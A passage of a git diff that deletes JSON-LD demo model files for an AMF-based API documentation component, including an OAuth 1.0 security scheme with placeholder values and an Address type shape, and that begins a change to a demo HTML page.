"signature2", - "signature1" - ], - "http://a.ml/vocabularies/security#tokenCredentialsUri": "tokenCredentialsUriValue" - }, - "http://a.ml/vocabularies/security#type": "OAuth 1.0", - "@context": { - "@base": "amf://id", - "hydra": "http://www.w3.org/ns/hydra/core#", - "shacl": "http://www.w3.org/ns/shacl#", - "doc": "http://a.ml/vocabularies/document#", - "schema-org": "http://schema.org/", - "http": "http://a.ml/vocabularies/http#", - "raml-shapes": "http://a.ml/vocabularies/shapes#", - "smap": "http://a.ml/vocabularies/document-source-maps" - } -} diff --git a/demo/apis/partial-model/type.json b/demo/apis/partial-model/type.json deleted file mode 100644 index 77ebe23..0000000 --- a/demo/apis/partial-model/type.json +++ /dev/null @@ -1,91 +0,0 @@ -{ - "@id": "#12", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape" - ], - "doc:examples": { - "@id": "#17", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#18", - "@type": "http://a.ml/vocabularies/data#Object", - "http://a.ml/vocabularies/data#number": { - "@id": "#19", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": 20 - }, - "http://a.ml/vocabularies/data#street": { - "@id": "#20", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Pepe" - } - }, - "shacl:raw": "\n number: 20\n street: Pepe\n" - }, - "shacl:closed": false, - "shacl:name": "Address", - "shacl:property": [{ - "@id": "#15", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#16", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "raml-shapes:number" - }, - "shacl:maxInclusive": 99999999, - "shacl:minInclusive": 1, - "shacl:name": "number" - }, - "shacl:minCount": 1, - "shacl:name": "number", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#number" - } - }, - { - "@id": "#13", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#14", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "street" - }, - "shacl:minCount": 1, - "shacl:name": "street", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#street" - } - } - ], - "@context": { - "@base": "amf://id", - "hydra": "http://www.w3.org/ns/hydra/core#", - "shacl": "http://www.w3.org/ns/shacl#", - "doc": "http://a.ml/vocabularies/document#", - "schema-org": "http://schema.org/", - "http": "http://a.ml/vocabularies/http#", - "raml-shapes": "http://a.ml/vocabularies/shapes#", - "smap": "http://a.ml/vocabularies/document-source-maps" - } -} diff --git a/demo/index.html b/demo/index.html index b967b2a..33ab570 100644 --- a/demo/index.html +++ b/demo/index.html @@ -13,6 +13,10 @@

    AMF graph API documentation